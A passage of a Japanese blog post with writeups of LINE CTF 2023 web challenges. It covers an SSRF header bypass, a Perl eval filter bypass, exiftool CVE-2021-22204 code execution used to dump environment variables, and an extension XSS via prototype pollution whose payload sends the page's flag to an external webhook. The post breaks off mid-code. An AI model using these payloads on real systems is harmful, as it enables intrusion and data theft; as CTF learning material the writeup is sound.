st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

LINE CTF 2023 writeup

3/25 - 3/26という日程で開催された。C++感あふれるチーム std::weak_ptr<moon> で参加して11位だった。24時間という競技時間に対してWebが9問と多く、かつ全体的に難易度も高く、ひいひい言いつつ楽しんでいた。


競技時間中に解いた問題

[Web 100] Baby Simple GoCurl (163 solves)

Read the flag (/flag)

(問題サーバのURL)

添付ファイル: baby-simple-gocurl_3e562770d3be9c9d047169c7b235281b.tar.gz

与えられたURLにアクセスすると、次のような画面が表示された。URLを入力すると、このサーバが代わりにアクセスしてその内容を返してくれるらしい。好きなHTTPリクエストヘッダをそのアクセスの際に付与してくれる便利な機能もついている。

以下のようなソースコードが与えられている。

package main

import (
    "errors"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "os"
    "strings"

    "github.com/gin-gonic/gin"
)

func redirectChecker(req *http.Request, via []*http.Request) error {
    reqIp := strings.Split(via[len(via)-1].Host, ":")[0]

    if len(via) >= 2 || reqIp != "127.0.0.1" {
        return errors.New("Something wrong")
    }

    return nil
}

func main() {
    flag := os.Getenv("FLAG")

    r := gin.Default()

    r.LoadHTMLGlob("view/*.html")
    r.Static("/static", "./static")

    r.GET("/", func(c *gin.Context) {
        c.HTML(http.StatusOK, "index.html", gin.H{
            "a": c.ClientIP(),
        })
    })

    r.GET("/curl/", func(c *gin.Context) {
        client := &http.Client{
            CheckRedirect: func(req *http.Request, via []*http.Request) error {
                return redirectChecker(req, via)
            },
        }

        reqUrl := strings.ToLower(c.Query("url"))
        reqHeaderKey := c.Query("header_key")
        reqHeaderValue := c.Query("header_value")
        reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
        fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)

        if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
            c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
            return
        }

        req, err := http.NewRequest("GET", reqUrl, nil)
        if err != nil {
            c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
            return
        }

        if reqHeaderKey != "" || reqHeaderValue != "" {
            req.Header.Set(reqHeaderKey, reqHeaderValue)
        }

        resp, err := client.Do(req)
        if err != nil {
            c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
            return
        }

        defer resp.Body.Close()

        bodyText, err := ioutil.ReadAll(resp.Body)
        if err != nil {
            c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
            return
        }
        statusText := resp.Status

        c.JSON(http.StatusOK, gin.H{
            "body":   string(bodyText),
            "status": statusText,
        })
    })

    r.GET("/flag/", func(c *gin.Context) {
        reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]

        log.Println("[+] IP : " + reqIP)
        if reqIP == "127.0.0.1" {
            c.JSON(http.StatusOK, gin.H{
                "message": flag,
            })
            return
        }

        c.JSON(http.StatusBadRequest, gin.H{
            "message": "You are a Guest, This is only for Host",
        })
    })

    r.Run()
}

気になるところをピックアップしていく。まず気になるフラグの在り処だが、どうやら /flag/ にあるらしい。ただし、127.0.0.1 からアクセスしないと弾かれてしまう。

   r.GET("/flag/", func(c *gin.Context) {
        reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]

        log.Println("[+] IP : " + reqIP)
        if reqIP == "127.0.0.1" {
            c.JSON(http.StatusOK, gin.H{
                "message": flag,
            })
            return
        }

        c.JSON(http.StatusBadRequest, gin.H{
            "message": "You are a Guest, This is only for Host",
        })
    })

GET /curl/ が前述のフォームの送信先となっており、これのハンドラに指定のURLにアクセスする処理が書かれている。簡単にはフラグを手に入れさせないためか、いくつかフィルターやらなんやらが入っている。

ひとつは Client.CheckRedirect によるリダイレクト時のチェックで、対象のURLのホスト名が 127.0.0.1 でない場合は、リダイレクトができない。http://127.0.0.1:8080/flag/ へリダイレクトさせるWebページを作って、それにアクセスさせるというのは通らないようだ。

       client := &http.Client{
            CheckRedirect: func(req *http.Request, via []*http.Request) error {
                return redirectChecker(req, via)
            },
        }
func redirectChecker(req *http.Request, via []*http.Request) error {
    reqIp := strings.Split(via[len(via)-1].Host, ":")[0]

    if len(via) >= 2 || reqIp != "127.0.0.1" {
        return errors.New("Something wrong")
    }

    return nil
}

もうひとつはここで、127.0.0.1 からのアクセスでない限り、URLに flag, curl, % が含まれていると弾かれる。直接 /flag/ にアクセスさせたり、パーセントエンコーディングfl%61g のようにしてバイパスしたりはできないようだ。

       if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
            c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
            return
        }

このとき、c.ClientIP() != "127.0.0.1"Context.ClientIP が使われていることに注目する。ドキュメントによると、X-Forwarded-ForX-Real-IP といったHTTPリクエストヘッダを参照するらしい。なるほど使えそう。試してみる。

$ curl -H "X-Forwarded-For: 127.0.0.1" "http://34.146.230.233:11000/curl/?url=http://127.0.0.1:8080/flag"
{"body":"{\"message\":\"= LINECTF{6a22ff56112a69f9ba1bfb4e20da5587}\"}","status":"200 OK"}

フラグが得られた。

LINECTF{6a22ff56112a69f9ba1bfb4e20da5587}

[Web 119] Old Pal (67 solves)

How about an Old Pal for your aperitif?

(問題サーバのURL)

添付ファイル: old-pal_83f83ad1987703c23f4ca32725a30385.tar.gz

以下のようなソースコードが与えられている。うわっ、Perlだ。Perlを読んだり書いたりするだけならよいのだけれども、ずらっと並ぶ関数名からフィルターをバイパスして何かをする雰囲気を感じ取って、つらい気持ちになる。

#!/usr/bin/perl
use strict;
use warnings;

use CGI;
use URI::Escape;


$SIG{__WARN__} = \&warn;
sub warn {
    print("Hacker? :(");
    exit(1);
}


my $q = CGI->new;
print "Content-Type: text/html\n\n";


my $pw = uri_unescape(scalar $q->param("password"));
if ($pw eq '') {
    print "Hello :)";
    exit();
}
if (length($pw) >= 20) {
    print "Too long :(";
    die();
}
if ($pw =~ /[^0-9a-zA-Z_-]/) {
    print "Illegal character :(";
    die();
}
if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) {
    print "Weak password :(";
    die();
}
if ($pw =~ /[0-9_-][boxe]/i) {
    print "Do not punch me :(";
    die();
}
if ($pw =~ /AUTOLOAD|BEGIN|CHECK|DESTROY|END|INIT|UNITCHECK|abs|accept|alarm|atan2|bind|binmode|bless|break|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|connect|cos|crypt|dbmclose|dbmopen|defined|delete|die|dump|each|endgrent|endhostent|endnetent|endprotoent|endpwent|endservent|eof|eval|exec|exists|exit|fcntl|fileno|flock|fork|format|formline|getc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getpriority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|index|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|not|oct|open|opendir|ord|our|pack|pipe|pop|pos|print|printf|prototype|push|quotemeta|rand|read|readdir|readline|readlink|readpipe|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|say|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shmread|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|state|study|substr|symlink|syscall|sysopen|sysread|sysseek|system|syswrite|tell|telldir|tie|tied|time|times|truncate|uc|ucfirst|umask|undef|unlink|unpack|unshift|untie|use|utime|values|vec|wait|waitpid|wantarray|warn|write/) {
    print "I know eval injection :(";
    die();
}
if ($pw =~ /[Mx. squ1ffy]/i) {
    print "You may have had one too many Old Pal :(";
    die();
}


if (eval("$pw == 20230325")) {
    print "Congrats! Flag is LINECTF{redacted}"
} else {
    print "wrong password :(";
    die();
};

どんなフィルターがあるかは後で見ていくとして、まずはこの問題で何をすべきかを確認する。最初と最後の処理を見ると、どうやら password というクエリパラメータを eval した結果が 20230325 と一致していればよいらしい。

my $pw = uri_unescape(scalar $q->param("password"));
if (eval("$pw == 20230325")) {
    print "Congrats! Flag is LINECTF{redacted}"
} else {
    print "wrong password :(";
    die();
};

フィルターを見ていく。実行するコードは20文字未満かつ英数字と _, - 以外の文字が含まれていてはいけない。

if (length($pw) >= 20) {
    print "Too long :(";
    die();
}
if ($pw =~ /[^0-9a-zA-Z_-]/) {
    print "Illegal character :(";
    die();
}

数字、アルファベット、_- という3つの文字種について、いずれも少なくとも1文字は使われていなければならない。ただ 20230325 と入力するだけでは解けないようになっている。

if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) {
    print "Weak password :(";
    die();
}

数字や _, - の後に boxe のいずれか1文字が続いてはならない。0b0x, 0o のような接頭辞を使ったり、1.2e3 のように指数表記のために e を使ったりすることでアルファベットを消費させないようにしている。また、M, x, s, q, u, 1, f, y のいずれかが使われている場合も弾いて、めんどくさくしている。

これらに加えて、systemeval といった明らかに危険な関数だけでなく、cosord といった無害な関数も含めて、大量の関数が使えないようになっている。

if ($pw =~ /[0-9_-][boxe]/i) {
    print "Do not punch me :(";
    die();
}
if ($pw =~ /[Mx. squ1ffy]/i) {
    print "You may have had one too many Old Pal :(";
    die();
}

まずはperlfuncPerlの組み込み関数のリストを得て、これらの関数のうち、どれがフィルターがある中でも使えるか確認する。do,lock,no,tr,-r,-w,-o,-R,-W,-O,-e,-z,-d,-l,-p,-b,-c,-t,-g,-k,-T,-B,-A,-C が使えることがわかったが、有用かどうかは微妙なところ。

perlopでどんな演算子があるかを見る。1 or xxx == 20230325 のような構造にすることで、xxx が何であろうがtruthyになると考えたが、残念ながら [0-9_-][boxe] のフィルターに引っかかってしまう。and の場合はそのフィルターには引っかからないが、右辺をどうするかという問題が出てくる。1and20230325 のようにすると、and20230325 がそういう識別子だと解釈されてしまうので、それをなんとかしなければならなくなってしまう。

悩んでいると、ptr-yudaiさんがVersion Stringsなるものを使うことで、たとえば v123{ という文字列になる仕様を見つけた。これを利用して、20230326-v4920230325 が作れる。

LINECTF{3e05d493c941cfe0dd81b70dbf2d972b}

[Web 152] Imagexif (39 solves)

This site provides you with the information of the image(EXIF) file. But there is a dangerous vulnerability here. I hope you get the data you want with the various functions of the system and your imagination.

(問題サーバのURL)

添付ファイル: imagexif_fd327e759b68136117e7f5edfc09ec0e.tar.gz

与えられたURLにアクセスすると、次のような画面が表示される。

画像のアップロードページで適当な画像を投げると、サーバ側でのファイル名、ファイルサイズ、画像サイズなどなど、画像に関する画像が色々と表示された。

docker-compose.yml には以下のような記述があった。フラグは環境変数にあるらしい。この問題ではPythonが使われているが、os.environ での環境変数へのアクセスはないし、FLAG で検索しても docker-compose.yml 以外には見つからない。RCEや任意のファイルの読み出しに持ち込む必要がありそう。

        environment:
            - FLAG=LINECTF{redacted}
            - SCRIPT_ENV=production

以下のようなソースコードが与えられている。なかなかシンプル。ユーザがアップロードしたファイルのファイル名をそのまま使わず、サーバ側で生成したUUIDv4の名前にリネームして使っていたり、拡張子のチェックをしていたりとちょっとセキュアに見える。

import os, queue, secrets, uuid
from random import seed, randrange


from flask import Flask, request, redirect, url_for, session, render_template, jsonify, Response
from flask_executor import Executor
from flask_jwt_extended import JWTManager
from werkzeug.utils import secure_filename
from werkzeug.exceptions import HTTPException
import exifread, exiftool
from exiftool.exceptions import *
import base64, re, ast


from common.config import load_config, Config
from common.error import APIError, FileNotAllowed



conf = load_config()
work_queue = queue.Queue()

app = Flask(__name__)
executor = Executor(app)

app.config.from_object(Config)
app.jinja_env.add_extension("jinja2.ext.loopcontrols")
app.config['EXECUTOR_TYPE'] = 'thread'
app.config['EXECUTOR_MAX_WORKERS'] = 5

ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])
IMAGE_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])


@app.before_request
def before_request():
    userAgent = request.headers

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.errorhandler(Exception)
def handle_error(e):
    code = 500
    if isinstance(e, HTTPException):
        code = e.code
    return jsonify(error=str(e)), code


@app.route('/')
def index():
    return render_template(
        'index.html.j2')

@app.route('/upload', methods=["GET","POST"])
def upload():
    try:
        if request.method == 'GET':
            return render_template(
            'upload.html.j2')
        elif request.method == 'POST':
            if 'file' not in request.files:
                return 'there is no file in form!'
            file = request.files['file']
            if file and allowed_file(file.filename):
                _file = file.read()
                tmpFileName = str(uuid.uuid4())
                with open("tmp/"+tmpFileName,'wb') as f:
                    f.write(_file)
                    f.close()
                    tags = exifread.process_file(file)
                    _encfile = base64.b64encode(_file)
                    try:
                        thumbnail = base64.b64encode(tags.get('JPEGThumbnail'))
                    except:
                        thumbnail = b'None'

                with exiftool.ExifToolHelper() as et:
                    metadata = et.get_metadata(["tmp/"+tmpFileName])[0]
            else:
                raise FileNotAllowed(file.filename.rsplit('.',1)[1])

        os.remove("tmp/"+tmpFileName)
        return render_template(
            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
    except FileNotAllowed as e:
        return jsonify({
                "error": APIError("FileNotAllowed Error Occur", str(e)).__dict__,
        }), 400
    except ExifToolJSONInvalidError as e:
        os.remove("tmp/"+tmpFileName)
        data = e.stdout
        reg = re.findall('\[(.*?)\]',data, re.S )[0]
        metadata = ast.literal_eval(reg)
        if 0 != len(metadata):
            return render_template(
            'uploaded.html.j2', tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200
        else:
            return jsonify({
                "error": APIError("ExifToolJSONInvalidError Error Occur", str(e)).__dict__,
        }), 400
    except ExifToolException as e:
        os.remove("tmp/"+tmpFileName)
        return jsonify({
                "error": APIError("ExifToolException Error Occur", str(e)).__dict__,
        }), 400
    except IndexError as e:
        return jsonify({
                "error": APIError("File extension could not found.", str(e)).__dict__,
        }), 400
    except Exception as e:
        os.remove("tmp/"+tmpFileName)
        return jsonify({
                "error": APIError("Unknown Error Occur", str(e)).__dict__,
        }), 400


if __name__ == '__main__':
    app.run(host='0.0.0.0')

このアプリがどうやって画像の情報を取得しているか確認する。該当する部分を以下に抜き出す。情報の取得にはPyExifToolEXIF.pyという2つのライブラリを使っており、前者は画像のサイズやEXIFなど様々な情報の取得に、後者はJPEGのサムネイルの取得のみに使われている。

                with open("tmp/"+tmpFileName,'wb') as f:
                    f.write(_file)
                    f.close()
                    tags = exifread.process_file(file)
                    _encfile = base64.b64encode(_file)
                    try:
                        thumbnail = base64.b64encode(tags.get('JPEGThumbnail'))
                    except:
                        thumbnail = b'None'

                with exiftool.ExifToolHelper() as et:
                    metadata = et.get_metadata(["tmp/"+tmpFileName])[0]

ソースコードを見直したが、Path Traversalができそうな場所はどこにも見つからない。ほかの脆弱性も特に思いつかない。仕方がないのでライブラリをチェックすることにして、PyExifToolの実装を見ていると、どうやら exiftool という実行ファイルにファイルを渡すことで画像の情報を取得しているらしいことがわかった。

では、exiftool脆弱性はないか。Dockerfile が配布されていたので見てみたところ、aptを使わず、わざわざバージョンを指定してダウンロードしていることに気づいた。CTFの開催時点での最新バージョンは12.58みたいだし、12.22は2021年3月のリリースとかなり古い。怪しい。

RUN wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz && \
    tar xvf 12.22.tar.gz && \
    cp -fr /exiftool-12.22/* /usr/bin && \
    rm -rf /exiftool-12.22 && \
    rm 12.22.tar.gz

「exiftool 脆弱性」のようなクエリでググると、すぐにCVE-2021-22204という脆弱性が見つかった。CVE-2021-22204で検索するとPoCも見つかる。このPoCを使って生成した画像をローカルで立てたサーバにアップロードしてみたものの、リバースシェルの接続はこないし、アプリからはレスポンスが返ってこない。

あれっと思い docker-compose.yml を見たところ、外部にはアクセスできない設定になっていた。

        networks:
            - line-linectf2023-internal
    line-linectf2023-internal:
        driver: bridge
        internal: true

PoCのコードをいじり、実行されるPerlコードを次のように変える。これで、exiftool -j …printenv の実行結果を返すようになるはずだ。

my $x = `printenv`;
$x =~ s/(.)/sprintf '%02x', ord $1/seg; # https://stackoverflow.com/questions/56183870/how-to-convert-char-string-to-hex-in-perl
print '[{"Hoge":"'.$x.'"}]';

生成した画像をアップロードすると、printenv の実行結果が得られた。

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=70b99d7ec46c
FLAG=LINECTF{2a38211e3b4da95326f5ab593d0af0e9}
SCRIPT_ENV=production
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
PYTHON_VERSION=3.11.2
PYTHON_PIP_VERSION=22.3.1
PYTHON_SETUPTOOLS_VERSION=65.5.1
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d5cb0afaf23b8520f1bbcfed521017b4a95f5c01/public/get-pip.py
PYTHON_GET_PIP_SHA256=394be00f13fa1b9aaa47e911bdb59a09c3b2986472130f30aa0bfaf7f3980637
HOME=/root
UWSGI_RELOADS=0
UWSGI_ORIGINAL_PROC_NAME=uwsgi

フラグが得られた。

LINECTF{2a38211e3b4da95326f5ab593d0af0e9}

[Web 290] Flag Masker (9 solves)

Gooood extension to safe flags that are exposed on your screen!

(問題サーバのURL)

flag-masker_36944966730b2d2c9377b434eeec7288.tar.gz

以下のようなメモ帳アプリが与えられる。/ にアクセスすると /(サーバ側で生成されたUUIDv4のパス) にリダイレクトされ、メモを書き留めていけるようになる。メモ帳には所有者の概念があり、URLを共有すると第三者からもメモを見ることができるが、鍵マークにチェックを入れたメモは所有者以外には表示されない。もちろん、<, >, ", ' といったよろしくない記号はいずれもサニタイズされていて、そのままではXSSできそうにない。

配布されたソースコード中の bot というディレクトリに、Puppeteerを使ってこのメモ帳にアクセスするコードがある。/report からメモ帳のパスを通報することができ、通報すると bot 中のコードによってbotがアクセスしに来る。

この bot はオリジナルの拡張機能を導入しており、そいつによって LINECTF{} で囲まれたメモに伏せ字が入る。たとえば、拡張機能を導入していない場合には次のように LINECTF{hoge}LINECTF{fuga} という文字列がそのまま表示されるところ、

拡張機能を有効化すると、次のようにいずれも LINECTF{****} と伏せ字が入る。

Webサーバのソースコードを読んだものの、どこにも脆弱性がないように見える。これは拡張機能脆弱性があるパターンだ。早速読もうとするものの、content.js, worker.js のいずれもminifiedでちょっとめんどくさい。難読化されていないのが救いか。

Webページのコンテキストで実行されるコンテンツスクリプトである、content.js の方から見ていく。beautifyして若干見やすくする。どうやら複数のモジュールがバンドルされているようで、576, 144という2つのモジュールが存在している。576の方は若干長めで、なんらかのライブラリっぽい。適当に含まれているコードの一部で検索すると、PurlというURLをパースするためのライブラリであることがわかった。

144の方がメインの処理っぽい。コードは以下の通り。Local Storageの config というキーになんらかの設定を保存しているようで、もし保存されていなければ /config から fetch して持ってくる。そして、設定に含まれている regex というキー、そして開いているページの headbody をバックグラウンドに投げる。

バックグラウンドで動いているコードからのレスポンスをもとに、もし flag というプロパティがtruthyであれば、/(なんらかのパス)/alert になんらかの情報を通報する。また、headbody を書き換える。

            144: function(t, r, e) {
                "use strict";
                var a = this && this.__importDefault || function(t) {
                    return t && t.__esModule ? t : {
                        default: t
                    }
                };
                Object.defineProperty(r, "__esModule", {
                    value: !0
                });
                var n, o, i = a(e(576));
                console.log("Flag Masker - content script is loaded."), n = (0, i.default)(location.href), o = {}, localStorage.config ? o = JSON.parse(localStorage.config) : fetch("/config").then((function(t) {
                    return t.json()
                })).then((function(t) {
                    localStorage.setItem("config", JSON.stringify(t)), o = t
                }));
                chrome.runtime.sendMessage({
                    regex: o.regex,
                    head: window.document.head.innerHTML,
                    body: window.document.body.innerHTML
                }).then((function(t) {
                    t.flag && (window.document.head.innerHTML = t.head, window.document.body.innerHTML = t.body, fetch(n.data.attr.path + "/alert", {
                        referrerPolicy: "unsafe-url"
                    }))
                }))
            }

バックグラウンドで動いているスクリプトは次の通り。コンテンツスクリプトから飛んできたメッセージをもとに、headbody でそれぞれ与えられた正規表現を使って一部を伏せ字にする。

(() => {
    "use strict";
    (() => {
        console.log("Flag Master - worker script is loaded.");
        var e = function(e, n) {
            const ret = n.replace(e, (function(e, r, a) {
                n = n.replace(new RegExp(r, "g"), "*".repeat(r.length)), n += "\x3c!--DETECTED FLAGS ARE MASKED BY EXTENSION--\x3e"
            }))
            return n;
        };
        chrome.runtime.onMessage.addListener((function(n, r, a) {
            var t = n.regex ? new RegExp(n.regex, "g") : new RegExp("LINECTF\\{(.+)\\}", "g");
            ! function(e, n) {
                var r = n.head,
                    a = n.body;
                return e.test(r + a)
            }(t, n) ? a({
                head: null,
                body: null,
                flag: !1
            }): a({
                head: e(t, n.head),
                body: e(t, n.body),
                flag: !0
            })
        }))
    })()
})();

なるほど、一部を伏せ字に置き換える処理で innerHTML を使っているのでそこでXSSができそうだけれども、そのためにはなんとかして設定を書き換える必要がある。ではどうするか。

わざわざ URL でなく、Purlというすでにメンテナンスがされていないライブラリを使っているのが怪しい。調べると、これでPrototype Pollutionができることがわかった。

Local Storageへのアクセスは localStorage.getItem('config') でなく localStorage.config のようにして行われているので、Prototype Pollutionの影響を受ける。また、PurlのPrototype Pollutionは /?__proto__[hoge]=fuga のようなURLをパースしたときに発生するが、このアプリでは n = (0, i.default)(location.href) のように location.hrefPurlによってパースしているので、簡単にPrototype Pollutionを発生させられる。

これで伏せ字を入れる条件となる正規表現を書き換えられるようになったわけだが、ではそれでどうやってXSSに持ち込むか。メモの表示部分が次のようなHTMLになっていることに注目する。

              <li>
                
                <div class="rotate-1 yellow-bg">
                
                  
                      <p>ToDo: ACSC 2023のwriteupを書く</p>
                  </div>
              </li>
              
              <li>
                
                <div class="rotate-2 yellow-bg">
                
                  
                      <p>LINECTF{hoge}</p>
                  </div>
              </li>
              
              <li>
                
                <div class="rotate-1 yellow-bg">
                
                  
                    <i class="fa fa-lock" aria-hidden="true"></i>
                  
                      <p>LINECTF{fuga}</p>
                  </div>
              </li>

このうち、次のスクリーンショットで選択している部分を伏せ字にすることで、<div ****LINECTF{hoge}</p> のように置き換えられる。LINECTF{hoge}a onfocus=alert(123) autofocus contenteditable b とすることで、<div ****a onfocus=alert(123) autofocus contenteditable b</p> のように onfocus, autofocus, contenteditable を持つ div 要素を作り出すことができる。

試しに a onfocus=alert(123) contenteditable autofocus b を投稿してから、DevToolsのコンソールで localStorage.config = JSON.stringify({regex: '(class=[\\s\\S]+?<p>)onfocus'}) を実行してみる。拡張機能を有効化した状態でリロードすると、アラートが出た。実行するコードを (new Image).src = '(webhook.siteのURL)' に変えてbotに通報した…ものの、なぜか発火しない。

botは要素のクリックやキーボードの入力といったことをまったく行わないので、user interactionなしになんとかする方法を考える必要がある。以前ACTF 2022で使ったときはうまくいかなかったが、onanimationend ならばどうだろうか。まず、次のようなメモを投稿する。

a onanimationend=fetch(String.fromCharCode(0x2f)).then(r=>r.text()).then(r=>{Object.assign(new(Image),{src:[String.fromCharCode(104,116,116,112,115,58,47,47,…),r.match(/LINECTF{.+?}/g)[0]]})}) style=animation-name:fa-spin;animation-duration:0.1s;transform:rotate(45deg) b

/(メモ帳のUUID)?__proto__[config]={"regex":"(class=[\\s\\S]%2b?<p>)a%20onanimationend"} を通報すると、botがフラグを投げてくれた。

LINECTF{e1930b4927e6b6d92d120c7c1bba3421}

競技終了後に解いた問題

[Web 193] Adult Simple GoCurl (23 solves)

Read the flag (/flag)

(問題サーバのURL)

添付ファイル: adult-simple-gocurl_9fd03c47bfa6bb6d4687720836633c3d.tar.gz

Baby Simple GoCurlの続き。diffを取ると、次のような変更が加えられていることがわかる。Babyでは 127.0.0.1 からのアクセスであれば /curl/ 中の flag, curl, もしくは % がアクセスさせるURLに含まれていると弾かれるというフィルターをバイパスできたところ、その機能が削除されてしまった。

メタ読みをすると、Babyではヘッダを付与できる機能をまったく使わなかったので、おそらくそれが今回は関わってくるのだろうと推測できる。あとは redirectCheckerreqIp == "127.0.0.1" ならば1回はリダイレクトを許容するという仕様も使いそう。

と言いつつ競技時間内はMDNのヘッダ一覧とにらめっこしたり、有用なヘッダがないか探したりしていたものの、結局見つからず解けなかった。

$ diff -u baby.go adult.go
--- baby.go     2023-02-22 15:54:16.000000000 +0900
+++ adult.go    2023-03-26 06:57:03.812339300 +0900
@@ -32,7 +32,7 @@

        r.GET("/", func(c *gin.Context) {
                c.HTML(http.StatusOK, "index.html", gin.H{
-                       "a": c.ClientIP(),
+                       "a": c.RemoteIP(),
                })
        })

@@ -49,7 +49,7 @@
                reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
                fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)

-               if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
+               if strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%") {
                        c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
                        return
                }

競技終了後にDiscordサーバを眺めていると、どうやら X-Forwarded-Prefix なるものがあり、しかもGinも対応しているらしいとわかった。試してみると、たしかにフラグが得られた。マジか…。

LINECTF{b80233bef0ecfa0741f0d91269e203d4}

[Web 322] Another Secure Store Note (7 solves)

Just a simple app to store notes.

(問題サーバのURL)

添付ファイル: another-secure-store-note_fc34cb6c20a5c9ea7feca24f29f29e3c.tar.gz

与えられたURLにアクセスすると、次のようにログインフォームが表示される。適当なユーザ名とパスワードを入力してログインする。

ログインすると、メモ帳的なものが表示される。下のフォームがメモ帳で、適当なメモを入力するとLocal Storageに保存される…のだけれども、ただ保存されるだけで、リロードしても画面には表示されないのでメモ帳としては機能していない。上のフォームで名前が変更できる。たとえば、ユーザ名からそのまま取られた nekochan という名前だったところ、以下のように (ΦωΦ) nekochan と変更できた。

ここで <s>test</s> という名前に変更しようとしたところ、以下のように打ち消し線の入った test が表示された。HTML Injectionができるようだ。

ただし、Content-Security-Policy: default-src 'self'; base-uri 'self'; script-src 'nonce-defb556ce596ec412e727047773b79fb6cb1efa5' のようにnonce-basedなCSPがレスポンスヘッダに含まれているので、ただ <script>alert(123)</script><img src=x onerror=alert(123)> のようにスクリプトを挿入するだけでは、XSSに持ち込むことができない。injectionするタイミングで使われるnonceを特定する必要がある。また、名前の変更時にはCSRFトークンが投げられているので、Self-XSSで終わらせないためにもこちらもなんとかして特定する必要がある。

ソースコードが与えられているので、CSRF対策や、CSPとnonce周りの処理を見ていく。まずCSRF対策だが、次のようにログイン時にセッションIDにランダムな文字列をCSRFトークンとして結びつけていることがわかる。nonceも同様。なお、CSRFトークンはログイン時以外では書き換えられていないので、一度特定できればその後いくらでも使い回せる。もう一点気になるところとして、CookieSameSite 属性が None であるため、CSRFがやりやすくなっている。

function rand() { return crypto.randomBytes(20).toString('hex') }

// …

function csrfCheck(req, res, next) { 
  const { csrf } = req.body
  if (csrf !== getCsrf(req.cookies.id)) return res.redirect(`${req.path}?error=Wrong csrf`)
  next()
}

//…

app.post('/', shouldNotBeLoggedIn, csrfCheck, (req, res) => {
  const { username, password } = req.body
  try {
    if (db.users[username]) {
      if (db.users[username].password !== password) throw 'Wrong password';
    } else createNewUser(username, password)
    const newCookie = rand()
    db.cookies[newCookie] = Object.create(null)
    db.cookies[newCookie].username = username
    db.cookies[newCookie].csrf = rand()
    db.cookies[newCookie].nonce = rand()
    res.setHeader('Set-Cookie', `id=${newCookie}; HttpOnly; SameSite=None; Secure`)
    res.redirect('/profile')
  } catch (err) {
    res.redirect(`/?error=${err}`)
  }
})

こうして生成されたCSRFトークンは、次のように views/getSettings.js というテンプレートファイルの一部を書き換えてユーザのもとに届けられる。

const settingsFile = fs.readFileSync('./views/getSettings.js', 'utf-8');
app.get('/getSettings.js', (req, res) => {
  res.setHeader('Content-Type', 'text/javascript');
  const response = ejs.render(settingsFile, { 
    csrf: getCsrf(req.cookies.id),
    domain: process.env.DOMAIN,
  });
  res.end(response);
})

getSettings.js は次の通り。これがログインページや名前の変更ページから読み込まれて、フォームにCSRFトークンがセットされるという形で使われている。これを別のオリジンから読み込んで(せっかく SameSite 属性が NoneCookieが飛ぶので、それを利用して)CSRFトークンを奪おうとしても、document.domain のチェックによって弾かれてしまうのではないかと思ったが、どうやら Object.defineProperty(document, 'domain', …)バイパスできるらしい。これでCSRFトークンを奪えそう。

function isInWindowContext() {
  const tmp = self;
  self = 1; // magic
  const res = (this !== self);
  self = tmp;
  return res;
}

// Ensure it is in window context with correct domain only :)
// Setting up variables and UI
if (isInWindowContext() && document.domain === '<%= domain %>') {
  const urlParams = new URLSearchParams(location.search);
  try { document.getElementById('error').innerText = urlParams.get('error'); } catch (e) {}
  try { document.getElementById('message').innerText = urlParams.get('message'); } catch (e) {}
  try { document.getElementById('_csrf').value = '<%= csrf %>'; } catch (e) {}
}

続いて、CSPとnonce周りを見ていく。nonceはログイン時以外にも、/csp.gif へのアクセス時に新しいものに変更される。/csp.gif は名前の変更ページで <img src=csp.gif> でこっそりと叩かれており、名前の変更ページにアクセスするとnonceが変更されるという仕組みになっている。

app.use((req, res, next) => {
  const { id } = req.cookies;
